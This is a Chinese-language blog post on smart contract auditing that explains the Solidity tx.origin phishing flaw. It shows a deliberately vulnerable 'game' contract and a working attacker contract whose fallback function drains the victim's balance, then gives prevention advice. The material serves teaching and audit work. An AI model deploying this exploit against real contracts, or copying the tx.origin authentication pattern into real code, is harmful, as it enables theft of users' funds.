智能合约审计-tx.origin漏洞
2020年5月4日 星期一, 发表于 合肥
如果你对本文有任何的建议或者疑问, 可以在 这里给我提 Issues, 谢谢! :)
描叙:tx.origin是solidity中的一个全局变量,它能够遍历调用栈并返回最初发送调用(或事务)的账户的地址,使用tx.origin变量进行身份验证,会导致合约受到网络钓鱼攻击。
核心问题:使用tx.origin全局变量绕过限制,获取一定的权限。
漏洞合约分析
pragma solidity ^0.4.22;
contract game {
address public owner;
constructor () public {
owner = msg.sender;
}
function () public payable {}
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
漏洞点:攻击者可以诱使漏洞合约所有者向攻击者合约发送以太币,然后调用攻击者合约的函数,从而调用漏洞合约的withdrawAll()函数,程序将进入漏洞合约中执行,此时msg.sender就是攻击者合约的地址,tx.origin就是漏洞合约所有者的地址,require(tx.origin == owner)条件得到满足,_recipient.transfer(this.balance)可以执行。
攻击合约分析
pragma solidity ^0.4.22;
interface game{
function owner() external returns(address);
function withdrawAll(address _recipient) external;
}
contract exp {
address owner;
game phInstance;
constructor() public{
owner = msg.sender;
}
modifier onlyowner() {
require(owner == msg.sender);
_;
}
function setInstance(address addr) public onlyowner{
phInstance = game(addr);
}
function getbalance() public onlyowner{
owner.transfer(address(this).balance);
}
function attack() internal{
address ph0wner = phInstance.owner();
if (ph0wner == msg.sender){
phInstance.withdrawAll(owner);
}else{
owner.transfer(address(this).balance);
}
}
function() external payable{
attack();
}
}
利用点:其回退函数调用了attack()函数,而attack()函数中的if (ph0wner == msg.sender){phInstance.withdrawAll(owner);在条件满足的情况下,可以调用game合约中的withdrawAll()函数。同时,由于传入的地址为攻击者地址,原合约取出的余额将全部转入攻击者账户。
漏洞预防
-
如果想要拒绝外部合约调用当前合约,可以使用require(tx.origin == msg.sender),以防止使用中间合约来调用当前合约。
-
合约开发者要尽量避免使用tx.origin,改用使用msg.sender.